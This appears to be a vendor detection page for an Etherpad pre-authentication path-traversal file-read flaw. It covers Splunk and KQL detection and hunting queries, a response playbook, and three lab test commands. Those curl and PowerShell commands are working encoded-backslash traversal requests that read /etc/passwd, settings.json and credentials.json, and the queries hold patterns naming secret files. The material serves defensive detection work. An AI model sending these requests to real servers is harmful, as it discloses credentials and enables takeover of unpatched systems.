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CVE-2026-114516 Splunk · SPL

Detect Etherpad Pre-Auth Arbitrary File Read (CVE-2026-114516) in Splunk

Detects exploitation attempts against CVE-2026-114516, a pre-authentication path-traversal and arbitrary file read vulnerability in Etherpad (ep_etherpad-lite) affecting versions >= 1.8.14 and < 3.3.3, fixed in 3.3.3. An unauthenticated attacker abuses the /static/* file-serving handler with encoded-backslash traversal sequences (%5C) to read arbitrary files readable by the Etherpad process, such as /etc/passwd, settings.json, credentials.json, or /proc/self/environ. Disclosed secrets can be escalated to an admin session and, via the plugin installer, remote code execution. CWE-22, CWE-200, CWE-306. CVSS 9.8. Detection focuses on web, proxy, and application logs showing traversal sequences, sensitive-file targeting, and anomalous 200 responses on static paths from unauthenticated clients.

Based on GHSA-mc8w-wjhw-45x5, Etherpad arbitrary file read advisory

MITRE ATT&CK

Tactic
Initial Access Discovery Collection

SPL Detection Query

Splunk (SPL)
spl
``` df00tech DF00-75f492501d · https://df00tech.com/detections/CVE-2026-114516 · licence: https://df00tech.com/detections/licence ```
index=web (sourcetype="nginx:plus:access" OR sourcetype="access_combined" OR sourcetype="iis")
| where like(lower(uri), "%/static/%") OR like(lower(uri), "%/pluginfw/%") OR like(lower(uri), "%/javascripts/%") OR like(lower(uri), "%/locales%")
| eval decoded=urldecode(uri)
| where match(decoded, "(?i)(\.\./|\.\.%2f|%2e%2e|\.\.\\|\.\.%5c|\.\.\.\./)")
| eval sensitive=if(match(decoded, "(?i)(etc/passwd|etc/shadow|settings\.json|credentials\.json|proc/self/environ|\.ssh/id_rsa|win\.ini)"), 1, 0)
| where sensitive=1 OR status=200
| stats count min(_time) as first max(_time) as last values(decoded) as paths values(status) as statuses by clientip useragent
| sort - count
critical severity high confidence

Searches web/proxy access logs for traversal patterns against Etherpad static/plugin routes, decoding URLs and flagging sensitive-file targeting or successful 200 responses.

Data Sources

Nginx Access LogsApache Access LogsIIS Web Server Logs

Required Sourcetypes

nginx:plus:accessaccess_combinediis

False Positives & Tuning

  • Authorized vulnerability scans producing traversal signatures.
  • Monitoring/synthetic probes that fetch static assets with unusual relative paths.
  • Legitimate plugin bundles whose asset URLs embed '../' but resolve safely.

Other platforms for CVE-2026-114516


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.

  1. Test 1 Etherpad traversal to /etc/passwd via static endpoint

    Expected signal: Web/proxy access log entry with traversal sequence on /static/ and HTTP 200 if vulnerable.

  2. Test 2 Etherpad traversal to settings.json via /proc/self/cwd

    Expected signal: Access log entry containing ..%5C and settings.json with status 200.

  3. Test 3 Etherpad traversal to credentials.json (Windows client)

    Expected signal: Web server log shows traversal request targeting credentials.json with resulting status code.


Response Playbook

Triage

  1. Decode the full request URL and confirm the presence of a traversal sequence (encoded backslash %5C or other encoded variants) targeting a path outside the Etherpad web root.
  2. Identify the target file requested (e.g. /etc/passwd, settings.json, credentials.json, /proc/self/environ) and the HTTP response code. A 200 with non-trivial body size indicates a successful read.
  3. Check the Etherpad version in use (settings.json / package.json / banner) and confirm it falls in the vulnerable range >= 1.8.14 and < 3.3.3.
  4. Determine whether the source IP is authenticated or pre-auth, and whether it maps to a known scanner, internal tester, or unknown external host.

Containment

  1. Block the offending source IP(s) at the WAF/reverse proxy and add a rule denying URLs containing traversal sequences to Etherpad static/plugin endpoints.
  2. Upgrade Etherpad (ep_etherpad-lite) to version 3.3.3 or later, or apply the fix from commit 9c8d16d50e2fdfd9693ab35c43280410cb4db2fc.
  3. If settings.json or credentials.json may have been read, rotate the admin password, sessionKey, database credentials, and any SSO client secrets, and invalidate active sessions.

Evidence Collection

  1. Preserve raw web server / reverse proxy access logs covering the attack window, including full request URLs, status codes, response sizes, and user agents.
  2. Capture the Etherpad application logs and the current settings.json to determine which secrets were exposed.
  3. Record the list of files successfully read (status 200) per source IP for impact assessment.

Escalation Criteria

  • !Escalate to incident response if settings.json, credentials.json, /proc/self/environ, or OS credential files returned HTTP 200, indicating secret disclosure.
  • !Escalate if the same source IP subsequently authenticates with the Etherpad admin interface or installs a plugin, suggesting use of stolen credentials.

Investigation Guide

Forensic Artifacts

  • >Web server / reverse proxy access log entries containing traversal sequences and 200 responses.
  • >Etherpad settings.json and credentials.json access timestamps (atime) if file auditing is enabled.
  • >Linux auditd/open syscall records for the Etherpad process reading files outside its working directory.

Tuning Guidance

Baseline legitimate static asset paths for your Etherpad deployment and plugin set, then whitelist any that contain benign relative segments. Exclude approved scanner and red-team source IPs. Raise confidence when the response code is 200 with a body size inconsistent with a static asset, and when the target matches a known sensitive file. If URL decoding is unavailable in your pipeline, add explicit encoded-variant patterns (%2e%2e, %252e, ..%2f, ..%5c) to avoid bypass.


Hunting Queries

Hunts for traversal requests specifically targeting Etherpad secret files and OS credential files, grouped by source IP and response code.

Hunting — KQL
kql
// df00tech DF00-75f492501d · https://df00tech.com/detections/CVE-2026-114516 · licence: https://df00tech.com/detections/licence
W3CIISLog | extend d = url_decode(csUriStem) | where d has_any ("../","%2e%2e","..%5c") and (d has_any ("credentials.json","settings.json","proc/self/environ","etc/passwd")) | summarize count() by cIP, d, scStatus
Hunting — SPL
spl
``` df00tech DF00-75f492501d · https://df00tech.com/detections/CVE-2026-114516 · licence: https://df00tech.com/detections/licence ```
index=web (sourcetype=nginx:plus:access OR sourcetype=access_combined) | eval d=urldecode(uri) | where match(d,"(?i)\.\./") AND match(d,"(?i)(credentials\.json|settings\.json|proc/self/environ|etc/passwd)") | stats count by clientip, d, status

Atomic Red Team Tests

Test 1 Etherpad traversal to /etc/passwd via static endpoint
linux

Issues an encoded-backslash path-traversal request against the Etherpad static file handler to read /etc/passwd (lab-only).

Command

bash
curl -s --path-as-is -o /tmp/ep_passwd.txt -w '%{http_code}\n' 'http://etherpad.lab.local:9001/static/plugins/ep_etherpad-lite/static/..%5C..%5C..%5C..%5C..%5C..%5C..%5Cetc/passwd'

Cleanup

bash
rm -f /tmp/ep_passwd.txt

Expected Telemetry

Web/proxy access log entry with traversal sequence on /static/ and HTTP 200 if vulnerable.

Expected Detection

KQL/SPL rules match the traversal pattern on the static endpoint targeting etc/passwd.

Test 2 Etherpad traversal to settings.json via /proc/self/cwd
linux

Uses encoded-backslash traversal against the static handler to read settings.json via /proc/self/cwd (lab-only).

Command

bash
curl -s --path-as-is -o /tmp/ep_settings.json -w '%{http_code}\n' 'http://etherpad.lab.local:9001/static/plugins/ep_etherpad-lite/static/..%5C..%5C..%5C..%5C..%5C..%5C..%5Cproc/self/cwd/settings.json'

Cleanup

bash
rm -f /tmp/ep_settings.json

Expected Telemetry

Access log entry containing ..%5C and settings.json with status 200.

Expected Detection

Detection decodes the URL and matches traversal plus sensitive-file targeting.

Test 3 Etherpad traversal to credentials.json (Windows client)
windows

Simulates an attacker on Windows attempting to read Etherpad's credentials.json via traversal (lab-only).

Command

powershell
powershell -c "try { Invoke-WebRequest -Uri 'http://etherpad.lab.local:9001/static/plugins/ep_etherpad-lite/static/..%5C..%5C..%5C..%5C..%5C..%5C..%5Cproc/self/cwd/credentials.json' -OutFile $env:TEMP\ep_creds.json -UseBasicParsing } catch { $_.Exception.Response.StatusCode.value__ }"

Cleanup

powershell
del %TEMP%\ep_creds.json

Expected Telemetry

Web server log shows traversal request targeting credentials.json with resulting status code.

Expected Detection

Rule matches traversal on static endpoint targeting the credentials.json sensitive-file pattern.

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